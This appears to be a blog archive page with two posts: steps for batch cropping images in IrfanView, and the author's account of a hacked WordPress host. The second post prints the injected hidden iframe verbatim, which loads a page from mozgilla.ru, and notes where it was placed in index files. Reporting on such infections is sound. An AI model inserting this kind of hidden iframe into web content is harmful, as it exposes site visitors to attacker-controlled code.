Jul 23, 2010 |
in All Posts, Tips & Tricks
This post will help you batch crop photos/images with IrfanView. I have IrfanView installed (or should I say copied) on all computers I use – it’s the most light-weight image viewer AND processor with a gazillion features. I even use it to view my RAW photos (with the CRW/CR2 plugin).
OK, back to our topic. I had to crop a whole lot of images and I obviously didn’t want to do it manually. The problem was that the stuff I needed was right in the middle of the image:
figure 1 - Batch cropping with IrfanView - Word doc screenshot
OK, so here’s how you batch crop images:
- Press “B” to open the “Batch conversion” window and “Add all” of your images
- Click on “Set advanced options” and select “CROP” (please see figure 2).
- You need to put in the the X, Y coordinates and the width and height of your crop
- Click OK and then “Start”
figure 2 - IrfanView (batch processing) - "Set advanced options" window
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Nov 04, 2009 |
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This just recently happened to me (last night actually), I think my host got hacked. I have no idea why or how.
OK, so straight to the point. This morning my blog – a wordpress installation – was dead. I was getting whether an “access denied” or “you don’t have permission to access…”. First I thought that the blog got screwed somehow and I tried to go into the admin panel (e.g. georgezamfir.com/wp-admin/)… aaand I got the same error code. Crap. At this point I was clueless, I searched online for any netfirms issues, I thought they messed up something, nothing.
All right, back to basics, I FTP-ed to my host to take a look at the files and this is when I realized that all my index.* (index.php, index.html, index.htm, etc) files were screwed. There were no permissions set and they all contained some code linking to mozgilla.ru – that code was not familiar to me. Duh, I don’t use iframes. There isn’t much online on this thing except for this page: badwarebusters.org/main/itemview/11308.
I was having the exact same code in my files:
<iframe frameborder=”0″ onload=”if (!this.src){ this.src=’http://mozgilla.ru:8080/index.php’; this.height=’0′; this.width=’0′;}” >klsgawbozfesywooikgbcetdnwaubys</iframe>
However, in the .php files the code above was at the very end of the files but in the .html files the code was right after the <body> tag.
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